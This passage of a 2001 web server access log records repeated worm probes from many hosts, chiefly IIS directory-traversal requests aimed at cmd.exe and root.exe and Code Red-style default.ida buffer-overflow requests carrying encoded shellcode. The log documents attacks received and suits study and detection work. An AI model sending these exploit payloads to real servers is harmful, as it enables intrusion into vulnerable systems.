/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 07:26:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 07:26:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:26:39: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 07:27:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 07:30:41: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 07:31:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:39:50: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 07:40:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 07:43:47: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 07:43:47: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:47: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:47: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:47: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:43:49: [63.83.98.226] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 07:44:25: [63.83.98.226] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 07:44:44: [63.83.98.226] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:45:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 07:48:41: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 07:52:11: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 07:54:35: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 07:56:50: yeonwoo.co.kr [211.219.153.19] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:02:16: yeonwoo.co.kr [211.219.153.19] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:02:17: yeonwoo.co.kr [211.219.153.19] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:17: yeonwoo.co.kr [211.219.153.19] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:18: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:18: yeonwoo.co.kr [211.219.153.19] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:19: yeonwoo.co.kr [211.219.153.19] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:19: yeonwoo.co.kr [211.219.153.19] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:20: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:21: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:21: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:22: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:22: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:23: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:23: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:24: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:02:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:45: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:45: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:03:45: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:08:09: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:08:09: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:08:10: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:08:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:10: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:11: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:11: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:12: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:12: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:12: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:12: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 08:12:59: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 08:13:19: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 08:18:39: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 08:19:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:22:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:22:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:22:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 